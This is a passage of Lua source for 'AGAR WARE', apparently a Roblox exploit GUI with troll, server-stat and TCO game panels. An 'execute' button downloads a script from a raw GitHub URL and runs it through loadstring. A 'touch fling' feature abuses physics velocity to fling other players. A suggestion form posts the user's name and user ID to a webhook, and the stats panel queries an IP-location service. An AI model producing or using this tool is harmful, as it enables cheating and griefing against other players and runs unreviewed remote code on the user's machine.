local remaining = math.max(0, cooldownEnd - tick())
if remaining <= 0 then
isCooldown = false
SendButton.Text = "Send Message"
writeCooldown(0)
else
SendButton.Text = formatTime(math.ceil(remaining))
end
task.wait(1)
end
end
-- Send webhook
local function sendWebhook()
if isCooldown then return end
if not MessageBox or MessageBox.Text == "" then return end
local message = MessageBox.Text
local displayName = LocalPlayer.DisplayName
local username = LocalPlayer.Name
local userId = LocalPlayer.UserId
local embed = {
title = string.format("%s / %s | `%s`", displayName, username, userId),
description = message,
color = tonumber("0xf2ff00"),
footer = {
text = "AGAR WARE"
},
timestamp = os.date("!%Y-%m-%dT%H:%M:%S")
}
local data = {
embeds = {embed}
}
local success = pcall(function()
request({
Url = WEBHOOK_URL,
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Body = HttpService:JSONEncode(data)
})
end)
if success then
-- Start cooldown
isCooldown = true
cooldownEnd = tick() + COOLDOWN_TIME
writeCooldown(cooldownEnd)
-- Clear message box
MessageBox.Text = ""
-- Start timer
task.spawn(updateTimer)
end
end
-- Load saved cooldown
local function loadCooldown()
local savedEnd = readCooldown()
if savedEnd > tick() then
isCooldown = true
cooldownEnd = savedEnd
task.spawn(updateTimer)
else
writeCooldown(0)
end
end
-- Button click
SendButton.MouseButton1Click:Connect(function()
sendWebhook()
end)
-- Initialize
loadCooldown()
end
end
-- ============================================================
-- TOOLTIP FOR HELP BUTTON
-- ============================================================
local SuggestHelpRow = SuggestionGroup:FindFirstChild("TitleRow")
if SuggestHelpRow then
local SuggestHelp = SuggestHelpRow:FindFirstChild("SuggestHelp")
if SuggestHelp then
createTooltip(
"SuggestHelpTooltip",
"Send suggestions or bug reports. You can send one message every 6 hours. All messages will be sent to the owner, please don't send any personal information.",
SuggestHelp
)
end
end
-- ============================================================
-- ADD MORE TOOLTIPS OR FEATURES HERE
-- ============================================================
--[[
TEMPLATE FOR NEW TOOLTIP:
local YourRow = SuggestionGroup:FindFirstChild("YourRow")
if YourRow then
local YourButton = YourRow:FindFirstChild("YourButton")
if YourButton then
createTooltip(
"YourTooltipName",
"Your tooltip text here",
YourButton
)
end
end
================================================================================
]]
-- ============================================================
-- CLEANUP
-- ============================================================
local tooltips = {}
for _, tooltip in pairs(getScreenGui():GetChildren()) do
if tooltip.Name:match("Tooltip") then
table.insert(tooltips, tooltip)
end
end
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
for _, tooltip in pairs(tooltips) do
tooltip:Destroy()
end
end
end)
end;
task.spawn(C_2d4);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.Script
local function C_2e1()
local script = G2L["2e1"];
-- ============================================================
-- SERVER GROUP MASTER SCRIPT
-- Place this script directly under ServerGroup
-- Handles minimize and all server stat displays
-- ============================================================
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local HttpService = game:GetService("HttpService")
local ServerGroup = script.Parent
local ServerMinimize = ServerGroup.ServerTitle.ServerMinimize
-- ============================================================
-- MINIMIZE FUNCTIONALITY
-- ============================================================
local function getRows()
local rows = {}
for _, child in ipairs(ServerGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = ServerGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
ServerMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
ServerGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
ServerMinimize.Text = "+"
else
ServerGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
ServerMinimize.Text = "-"
end
end)
-- ============================================================
-- SERVER STAT SETUP FUNCTION
-- Makes it easy to add new stats
-- ============================================================
local function setupStat(config)
--[[
config = {
row = "LatencyRow", -- Name of the row
textLabel = "Text", -- Name of the TextLabel inside the row
updateFunction = function() -- Function that returns the display text
return "📶 Latency: 50ms"
end,
updateInterval = 0 -- 0 = every frame, or number of seconds
}
]]
local rowName = config.row
local textLabelName = config.textLabel or "Text"
local updateFunction = config.updateFunction
local updateInterval = config.updateInterval or 0
local row = ServerGroup:FindFirstChild(rowName)
if not row then
warn("[ServerStat] Row not found:", rowName)
return
end
local textLabel = row:FindFirstChild(textLabelName)
if not textLabel then
warn("[ServerStat] TextLabel not found:", textLabelName, "in", rowName)
return
end
local function updateDisplay()
if updateFunction then
local success, result = pcall(updateFunction)
if success and result then
textLabel.Text = result
end
end
end
-- Initial update
updateDisplay()
-- Continuous updates
if updateInterval == 0 then
-- Update every frame
RunService.Heartbeat:Connect(function()
updateDisplay()
end)
else
-- Update every X seconds
task.spawn(function()
while true do
task.wait(updateInterval)
updateDisplay()
end
end)
end
end
-- ============================================================
-- SERVER STATS DEFINITIONS
-- Add your stats here using setupStat()
-- ============================================================
-- Latency (Ping)
setupStat({
row = "LatencyRow",
updateFunction = function()
local player = Players.LocalPlayer
if player then
local pingInSeconds = player:GetNetworkPing()
local ping = math.round(pingInSeconds * 1000)
return "📶 Latency: " .. ping .. "ms"
end
return "📶 Latency: 0ms"
end,
updateInterval = 0 -- Every frame
})
-- Players Count
setupStat({
row = "PlayersRow",
updateFunction = function()
local playerCount = #Players:GetPlayers()
local maxPlayers = Players.MaxPlayers
return string.format("👥 Players: %d/%d", playerCount, maxPlayers)
end,
updateInterval = 0 -- Every frame
})
-- Region
local regionCode = "N/A"
local function fetchRegion()
local url = "http://ip-api.com/json/?fields=16394"
local success, response = pcall(function()
return HttpService:GetAsync(url)
end)
if success then
local data = HttpService:JSONDecode(response)
if data.status == "success" and data.countryCode then
regionCode = data.countryCode
else
regionCode = "N/A"
end
else
regionCode = "N/A"
end
end
-- Fetch region immediately
task.spawn(fetchRegion)
setupStat({
row = "RegionRow",
updateFunction = function()
return "🌐 Region: " .. regionCode
end,
updateInterval = 60 -- Update every 60 seconds
})
-- Uptime
local serverStartTime = tick()
local function formatUptime(seconds)
local hours = math.floor(seconds / 3600)
local minutes = math.floor((seconds % 3600) / 60)
local secs = math.floor(seconds % 60)
return string.format("%dh %dm %ds", hours, minutes, secs)
end
setupStat({
row = "UptimeRow",
updateFunction = function()
local uptime = tick() - serverStartTime
return "⌛ Uptime: " .. formatUptime(uptime)
end,
updateInterval = 0 -- Every frame
})
-- ============================================================
-- ADD NEW STATS HERE - USE THIS TEMPLATE:
-- ============================================================
--[[
TEMPLATE FOR SIMPLE STATS (updates every frame):
setupStat({
row = "YourRow",
updateFunction = function()
-- Your code to get the value
local value = 123
return "🔥 Your Stat: " .. value
end
})
================================================================================
TEMPLATE FOR SLOW STATS (updates every X seconds):
setupStat({
row = "YourRow",
updateFunction = function()
-- Your code to get the value
local value = 456
return "⚡ Your Stat: " .. value
end,
updateInterval = 5 -- Update every 5 seconds
})
================================================================================
EXAMPLE - FPS Counter:
setupStat({
row = "FPSRow",
updateFunction = function()
local fps = math.round(1 / RunService.Heartbeat:Wait())
return "🎮 FPS: " .. fps
end
})
================================================================================
EXAMPLE - Server Age:
local serverCreatedTime = os.time()
setupStat({
row = "ServerAgeRow",
updateFunction = function()
local age = os.time() - serverCreatedTime
local hours = math.floor(age / 3600)
return "📅 Server Age: " .. hours .. "h"
end,
updateInterval = 60 -- Update every minute
})
================================================================================
EXAMPLE - Memory Usage:
setupStat({
row = "MemoryRow",
updateFunction = function()
local memory = math.round(game:GetService("Stats"):GetTotalMemoryUsageMb())
return "💾 Memory: " .. memory .. "MB"
end,
updateInterval = 2 -- Update every 2 seconds
})
================================================================================
]]
-- PASTE YOUR NEW STATS BELOW THIS LINE
-- ============================================================
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
-- All connections auto-disconnect when script is destroyed
end
end)
end;
task.spawn(C_2e1);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.Title.texteffects
local function C_2e5()
local script = G2L["2e5"];
local textLabel = script.Parent
local TweenService = game:GetService("TweenService")
while true do
-- Fade to 0.5
local fadeOut = TweenService:Create(
textLabel,
TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),
{TextTransparency = 0.5}
)
fadeOut:Play()
fadeOut.Completed:Wait()
-- Fade back to 0
local fadeIn = TweenService:Create(
textLabel,
TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),
{TextTransparency = 0}
)
fadeIn:Play()
fadeIn.Completed:Wait()
end
end;
task.spawn(C_2e5);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.execute.script
local function C_2e7()
local script = G2L["2e7"];
local executeBtn = script.Parent:FindFirstChild("executebutton")
if not executeBtn then return end
local originalText = executeBtn.Text
local SCRIPT_URL = "https://raw.githubusercontent.com/agarvsocooolsmith/Scripts/refs/heads/main/AGARWAREV3.lua"
executeBtn.MouseButton1Click:Connect(function()
executeBtn.Text = "LOADING..."
task.spawn(function()
local success, err = pcall(function()
local code = game:HttpGet(SCRIPT_URL)
loadstring(code)()
end)
if success then
executeBtn.Text = "SUCCESSFULLY EXECUTED"
task.wait(3)
executeBtn.Text = originalText
else
executeBtn.Text = "FAILED TO EXECUTE"
task.wait(3)
executeBtn.Text = originalText
end
end)
end)
end;
task.spawn(C_2e7);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UpLogsScript
local function C_2ec()
local script = G2L["2ec"];
local UpLogsGroup = script.Parent
local UpLogsMinimize = UpLogsGroup.UpLogsTitle.UpLogsMinimize
local ScrollingFrame = UpLogsGroup:FindFirstChild("ScrollingRow")
if ScrollingFrame then
ScrollingFrame = ScrollingFrame:FindFirstChild("ScrollingFrame")
if ScrollingFrame then
ScrollingFrame.CanvasPosition = Vector2.new(0, 0)
end
end
local function getRows()
local rows = {}
for _, child in ipairs(UpLogsGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = UpLogsGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
UpLogsMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
UpLogsGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
UpLogsMinimize.Text = "+"
else
UpLogsGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
UpLogsMinimize.Text = "-"
-- Reset scroll to top when expanding
if ScrollingFrame then
ScrollingFrame.CanvasPosition = Vector2.new(0, 0)
end
end
end)
end;
task.spawn(C_2ec);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOScript
local function C_30f()
local script = G2L["30f"];
-- ============================================================
-- TCO GROUP MASTER SCRIPT
-- Place this script directly under TCOGroup
-- Handles minimize, place detection, and all stat displays
-- ============================================================
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local Teams = game:GetService("Teams")
local Workspace = game:GetService("Workspace")
local TCOGroup = script.Parent
local TCOMinimize = TCOGroup.TCOTitle.TCOMinimize
-- ============================================================
-- TCO PLACE DETECTION
-- Destroys the group if not in a TCO game
-- ============================================================
local TCO_PLACES = {11137575513, 12943245078, 12943247001, 108097274488844}
local SPECIAL_PLACE_ID = 108097274488844
local function isTCOGame()
for _, placeId in pairs(TCO_PLACES) do
if game.PlaceId == placeId then
return true
end
end
return false
end
-- Destroy TCOGroup if not in a TCO game
if not isTCOGame() then
TCOGroup:Destroy()
return
end
-- ============================================================
-- MINIMIZE FUNCTIONALITY
-- ============================================================
local function getRows()
local rows = {}
for _, child in ipairs(TCOGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = TCOGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
TCOMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
TCOGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
TCOMinimize.Text = "+"
else
TCOGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
TCOMinimize.Text = "-"
end
end)
-- ============================================================
-- ADMIN DISPLAY
-- Shows current admins on the admin/chosen team
-- ============================================================
local AdminRow = TCOGroup:FindFirstChild("AdminRow")
if AdminRow then
local AdminText = AdminRow:FindFirstChild("Text")
if AdminText then
local function getAdmins()
local teamName = (game.PlaceId == SPECIAL_PLACE_ID) and "Admin" or "Chosen"
local adminTeam = Teams:FindFirstChild(teamName)
if not adminTeam then
return {}
end
local admins = {}
for _, player in pairs(Players:GetPlayers()) do
if player.Team == adminTeam then
table.insert(admins, player.DisplayName)
end
end
return admins
end
local function updateAdminDisplay()
local admins = getAdmins()
if #admins == 0 then
AdminText.Text = "👤 Admin: N/A"
else
AdminText.Text = "👤 Admin: " .. table.concat(admins, ", ")
end
end
-- Update every heartbeat
RunService.Heartbeat:Connect(function()
updateAdminDisplay()
end)
-- Initial update
updateAdminDisplay()
end
end
-- ============================================================
-- BLOCK COUNT DISPLAY
-- Counts total blocks/cubes in the game
-- ============================================================
local BlockCountRow = TCOGroup:FindFirstChild("BlockCountRow")
if BlockCountRow then
local BlockCountText = BlockCountRow:FindFirstChild("Text")
if BlockCountText then
local function countBricks()
local folderName, itemNames
if game.PlaceId == SPECIAL_PLACE_ID then
-- Special game: check Cubes folder for "Cube" and "Sign"
folderName = "Cubes"
itemNames = {"Cube", "Sign"}
else
-- Normal game: check Bricks folder for "Brick"
folderName = "Bricks"
itemNames = {"Brick"}
end
local folder = Workspace:FindFirstChild(folderName)
if not folder then
return 0
end
local totalCount = 0
for _, descendant in pairs(folder:GetDescendants()) do
for _, itemName in pairs(itemNames) do
if descendant.Name == itemName then
totalCount = totalCount + 1
break
end
end
end
return totalCount
end
local function updateBlockDisplay()
local count = countBricks()
BlockCountText.Text = "🧱 Total Blocks: " .. tostring(count)
end
-- Update every heartbeat
RunService.Heartbeat:Connect(function()
updateBlockDisplay()
end)
-- Initial update
updateBlockDisplay()
end
end
-- ============================================================
-- ENLIGHTEN DISPLAY
-- Counts players with The Arkenstone (excluding admins)
-- ============================================================
local EnlightenRow = TCOGroup:FindFirstChild("EnlightenRow")
if EnlightenRow then
local EnlightenText = EnlightenRow:FindFirstChild("Text")
if EnlightenText then
local function getEnlightenedCount()
local count = 0
local chosenTeam = Teams:FindFirstChild("Chosen")
for _, player in pairs(Players:GetPlayers()) do
-- Skip players on Chosen team (admins)
if chosenTeam and player.Team == chosenTeam then
continue
end
local hasArkenstone = false
-- Check backpack
local backpack = player:FindFirstChild("Backpack")
if backpack and backpack:FindFirstChild("The Arkenstone") then
hasArkenstone = true
end
-- Check character in workspace
if not hasArkenstone then
local character = Workspace:FindFirstChild(player.Name)
if character and character:FindFirstChild("The Arkenstone") then
hasArkenstone = true
end
end
if hasArkenstone then
count = count + 1
end
end
return count
end
local function updateEnlightenDisplay()
local count = getEnlightenedCount()
EnlightenText.Text = "🌟 Enlighten Users: " .. tostring(count)
end
-- Update every heartbeat
RunService.Heartbeat:Connect(function()
updateEnlightenDisplay()
end)
-- Initial update
updateEnlightenDisplay()
end
end
-- ============================================================
-- TOTAL TIME DISPLAY
-- Shows combined time from all players' leaderstats
-- ============================================================
local TotalTimeRow = TCOGroup:FindFirstChild("TotalTimeRow")
if TotalTimeRow then
local TotalTimeText = TotalTimeRow:FindFirstChild("Text")
if TotalTimeText then
local function getTotalTime()
local totalTime = 0
for _, player in pairs(Players:GetPlayers()) do
local leaderstats = player:FindFirstChild("leaderstats")
if leaderstats then
local timeValue = leaderstats:FindFirstChild("Time")
if timeValue and (timeValue:IsA("IntValue") or timeValue:IsA("NumberValue")) then
totalTime = totalTime + timeValue.Value
end
end
end
return totalTime
end
local function updateTotalTimeDisplay()
local total = getTotalTime()
if total == 0 then
TotalTimeText.Text = "🕛 All Time: N/A"
else
TotalTimeText.Text = "🕛 All Time: " .. tostring(total)
end
end
-- Update every heartbeat
RunService.Heartbeat:Connect(function()
updateTotalTimeDisplay()
end)
-- Initial update
updateTotalTimeDisplay()
end
end
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
-- All connections auto-disconnect when script is destroyed
end
end)
end;
task.spawn(C_30f);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOTitle.TitleScript
local function C_313()
local script = G2L["313"];
-- TCO Game Label Script
local TextLabel = script.Parent
local PLACES = {
[11137575513] = "TCO",
[12943245078] = "TCO (XL)",
[12943247001] = "TCO (VC)",
[108097274488844] = "TCO (OG)"
}
-- Set the text based on current PlaceId
local placeText = PLACES[game.PlaceId] or "TCO"
TextLabel.Text = placeText
end;
task.spawn(C_313);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingScript
local function C_321()
local script = G2L["321"];
local FlingGroup = script.Parent
local FlingMinimize = FlingGroup.FlingTitle.FlingMinimize
local function getRows()
local rows = {}
for _, child in ipairs(FlingGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = FlingGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
FlingMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
FlingGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
FlingMinimize.Text = "+"
else
FlingGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
FlingMinimize.Text = "-"
end
end)
end;
task.spawn(C_321);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.TouchFlingRow.TouchFlingScript
local function C_329()
local script = G2L["329"];
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
local TouchFlingRow = script.Parent
local TouchFlingTickBox = TouchFlingRow.TouchFlingTickBox
local FlingGroup = TouchFlingRow.Parent
local FlingAccentColor = FlingGroup.FlingAccentColor
local isEnabled = false
local movel = 0.1
TouchFlingTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
-- ============================================================
-- TOOLTIP
-- ============================================================
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local tooltipStroke = Instance.new("UIStroke", tooltipFrame)
tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
local tooltipPadding = Instance.new("UIPadding", tooltipFrame)
tooltipPadding.PaddingTop = UDim.new(0, 6)
tooltipPadding.PaddingBottom = UDim.new(0, 6)
tooltipPadding.PaddingLeft = UDim.new(0, 6)
tooltipPadding.PaddingRight = UDim.new(0, 6)
local tooltipLabel = Instance.new("TextLabel", tooltipFrame)
tooltipLabel.BackgroundTransparency = 1
tooltipLabel.Text = "Walk into players to fling them. Turn on Anti-Fling while using touch fling."
tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
tooltipLabel.TextSize = 14
tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
tooltipLabel.Font = Enum.Font.GothamSemibold
tooltipLabel.TextWrapped = true
tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
tooltipLabel.ZIndex = 101
TouchFlingTickBox.MouseEnter:Connect(function()
local abs = TouchFlingTickBox.AbsolutePosition
local size = TouchFlingTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
TouchFlingTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
-- ============================================================
-- TOUCH FLING
-- ============================================================
local function fling()
while isEnabled do
RunService.Heartbeat:Wait()
local c = LocalPlayer.Character
local hrp = c and c:FindFirstChild("HumanoidRootPart")
if hrp then
local vel = hrp.Velocity
hrp.Velocity = vel * 15000 + Vector3.new(0, 15000, 0)
RunService.RenderStepped:Wait()
hrp.Velocity = vel
RunService.Stepped:Wait()
hrp.Velocity = vel + Vector3.new(0, movel, 0)
movel = -movel
end
end
end
-- ============================================================
-- ENABLE / DISABLE
-- ============================================================
local function enable()
isEnabled = true
TouchFlingTickBox.BackgroundColor3 = FlingAccentColor.BackgroundColor3
task.spawn(fling)
end
local function disable()
isEnabled = false
TouchFlingTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
-- ============================================================
-- TICKBOX TOGGLE
-- ============================================================
TouchFlingTickBox.MouseButton1Click:Connect(function()
if isEnabled then
disable()
else
enable()
end
end)
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
isEnabled = false
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_329);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingTypeRow.FlingTypeTooltip
local function C_32d()
local script = G2L["32d"];
local FlingTypeRow = script.Parent
local FlingTypeHelp = FlingTypeRow.FlingTypeHelp
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
local tooltipFrame = Instance.new("Frame")
tooltipFrame.Name = "FlingTypeTooltip"
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local tooltipStroke = Instance.new("UIStroke")
tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
tooltipStroke.Thickness = 1
tooltipStroke.Parent = tooltipFrame
local tooltipPadding = Instance.new("UIPadding")
tooltipPadding.PaddingTop = UDim.new(0, 6)
tooltipPadding.PaddingBottom = UDim.new(0, 6)
tooltipPadding.PaddingLeft = UDim.new(0, 6)
tooltipPadding.PaddingRight = UDim.new(0, 6)
tooltipPadding.Parent = tooltipFrame
local tooltipText = Instance.new("TextLabel")
tooltipText.BackgroundTransparency = 1
tooltipText.Text = "Adding soon, wont be working that this moment. (RED = ADDING SOON)"
tooltipText.TextColor3 = Color3.new(1, 1, 1)
tooltipText.TextSize = 14
tooltipText.TextXAlignment = Enum.TextXAlignment.Left
tooltipText.TextYAlignment = Enum.TextYAlignment.Top
tooltipText.Font = Enum.Font.GothamSemibold
tooltipText.TextWrapped = true
tooltipText.Size = UDim2.new(0, 200, 0, 0)
tooltipText.AutomaticSize = Enum.AutomaticSize.Y
tooltipText.ZIndex = 101
tooltipText.Parent = tooltipFrame
FlingTypeHelp.MouseEnter:Connect(function()
local abs = FlingTypeHelp.AbsolutePosition
local size = FlingTypeHelp.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
FlingTypeHelp.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_32d);
-- StarterGui.AgarWareGui.MainFrame.TopBar.TopBarScript
local function C_337()
local script = G2L["337"];
-- ============================================================
-- TOP BAR SCRIPT (Combined Drag + Title)
-- Place this script under TopBar
-- Handles: Dragging, Minimize, FPS/Player/Status Display
-- ============================================================
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local TopBar = script.Parent
local MainFrame = TopBar.Parent
local MinimizeButton = TopBar.MinimizeGUI
local Title = TopBar.TITLE
local CoreGui = game:GetService("CoreGui")
local AgarWareGui = CoreGui:WaitForChild("AgarWareGui")
-- ============================================================
-- DRAGGING
-- ============================================================
MainFrame.Draggable = true
MainFrame.Active = true
-- ============================================================
-- MINIMIZE
-- ============================================================
local SideBar = MainFrame.SideBar
local ContentArea = MainFrame.ContentArea
local isMinimized = false
local originalMainFrameSize = MainFrame.Size
local function toggleMinimize()
isMinimized = not isMinimized
if isMinimized then
SideBar.Visible = false
ContentArea.Visible = false
MainFrame.Size = UDim2.new(0, 450, 0, 25)
MinimizeButton.Text = "+"
else
SideBar.Visible = true
ContentArea.Visible = true
MainFrame.Size = originalMainFrameSize
MinimizeButton.Text = "-"
end
end
MinimizeButton.MouseButton1Click:Connect(toggleMinimize)
-- ============================================================
-- TITLE DISPLAY
-- ============================================================
local isLoadingScripts = false
local loadingProgress = 0
local loadingStartTime = 0
local loadingDuration = 0
local showLoadedMessage = false
local loadedMessageStartTime = 0
local TCO_PLACE_IDS = {
11137575513,
12943245078,
12943247001,
108097274488844,
}
local function isTCO()
for _, id in ipairs(TCO_PLACE_IDS) do
if game.PlaceId == id then return true end
end
return false
end
local function getMyTime()
local ls = LocalPlayer:FindFirstChild("leaderstats")
local t = ls and ls:FindFirstChild("Time")
return t and t.Value or nil
end
-- Listen for SaveScripts loading progress
task.spawn(function()
local LoadingProgress = AgarWareGui:WaitForChild("SaveScriptsLoadingProgress", 5)
if LoadingProgress then
LoadingProgress.Event:Connect(function(progress)
if progress == 0 then
isLoadingScripts = true
loadingProgress = 0
loadingStartTime = tick()
showLoadedMessage = false
elseif progress == 100 then
loadingProgress = 100
isLoadingScripts = false
if not showLoadedMessage then
loadingDuration = tick() - loadingStartTime
showLoadedMessage = true
loadedMessageStartTime = tick()
end
else
loadingProgress = progress
end
end)
end
end)
-- FPS smoothing
local smoothedFPS = 60
local smoothing = 0.05
local lastTime = tick()
RunService.RenderStepped:Connect(function()
local now = tick()
local deltaTime = now - lastTime
lastTime = now
local currentFPS = 1 / deltaTime
smoothedFPS = smoothedFPS + (currentFPS - smoothedFPS) * smoothing
local text
if isLoadingScripts then
text = string.format("AGAR WARE | loading previous scripts: %.1f%%", loadingProgress)
elseif showLoadedMessage and (tick() - loadedMessageStartTime) < 3 then
text = string.format("AGAR WARE | auto loaded scripts: %.2fs", loadingDuration)
else
showLoadedMessage = false
-- Get ping
local pingInSeconds = LocalPlayer:GetNetworkPing()
local ping = math.round(pingInSeconds * 1000)
text = string.format(
"AGAR WARE | fps: %.1f | ping: %dms | players: %d",
smoothedFPS,
ping,
#Players:GetPlayers()
)
if isTCO() then
local chosenTeam = game:GetService("Teams"):FindFirstChild("Chosen")
local backpack = LocalPlayer:FindFirstChild("Backpack")
local char = workspace:FindFirstChild(LocalPlayer.Name)
local hasArken = (backpack and backpack:FindFirstChild("The Arkenstone"))
or (char and char:FindFirstChild("The Arkenstone"))
local isAdmin = chosenTeam and LocalPlayer.Team == chosenTeam
if isAdmin then
text = text .. " | Admin"
elseif hasArken then
text = text .. " | Enlightened"
else
text = text .. " | Neutral"
end
end
end
Title.Text = text:gsub("AGAR WARE", 'AGAR WARE')
end)
end;
task.spawn(C_337);
-- StarterGui.AgarWareGui.KeybindFrame.KeybindScript
local function C_33b()
local script = G2L["33b"];
-- ============================================================
-- KEYBIND FRAME MASTER SCRIPT
-- Place this script directly under KeybindFrame
-- Handles: BringGUI, Dragging, Hide/Show GUI, Lock/Unlock GUI
-- ============================================================
local UserInputService = game:GetService("UserInputService")
local KeybindFrame = script.Parent
local ScreenGui = KeybindFrame.Parent
local MainFrame = ScreenGui:FindFirstChild("MainFrame")
-- ============================================================
-- BRING GUI (Recenter MainFrame)
-- ============================================================
local BringGUI = KeybindFrame:FindFirstChild("BringGUI")
if BringGUI and MainFrame then
BringGUI.MouseButton1Click:Connect(function()
MainFrame.AnchorPoint = Vector2.new(0.5, 0)
MainFrame.Position = UDim2.new(0.5, 0, 0.5, -150)
end)
end
-- ============================================================
-- DRAG FUNCTIONALITY (Mobile & Desktop Support)
-- ============================================================
local DragButton = KeybindFrame:FindFirstChild("DragGUI")
if DragButton then
local dragging = false
local dragStart = nil
local startPos = nil
local dragInput = nil
local function updateDrag(input)
local delta = input.Position - dragStart
KeybindFrame.Position = UDim2.new(
startPos.X.Scale,
startPos.X.Offset + delta.X,
startPos.Y.Scale,
startPos.Y.Offset + delta.Y
)
end
DragButton.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = KeybindFrame.Position
dragInput = input
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
dragInput = nil
end
end)
end
end)
DragButton.InputChanged:Connect(function(input)
if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
updateDrag(input)
end
end)
DragButton.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = false
dragInput = nil
end
end)
end
-- ============================================================
-- HIDE/SHOW GUI FUNCTIONALITY
-- ============================================================
local HideGUIButton = KeybindFrame:FindFirstChild("HideGUI")
if HideGUIButton and MainFrame then
local TopBar = MainFrame:FindFirstChild("TopBar")
local MinimizeButton = TopBar and TopBar:FindFirstChild("MinimizeGUI")
local isHidden = false
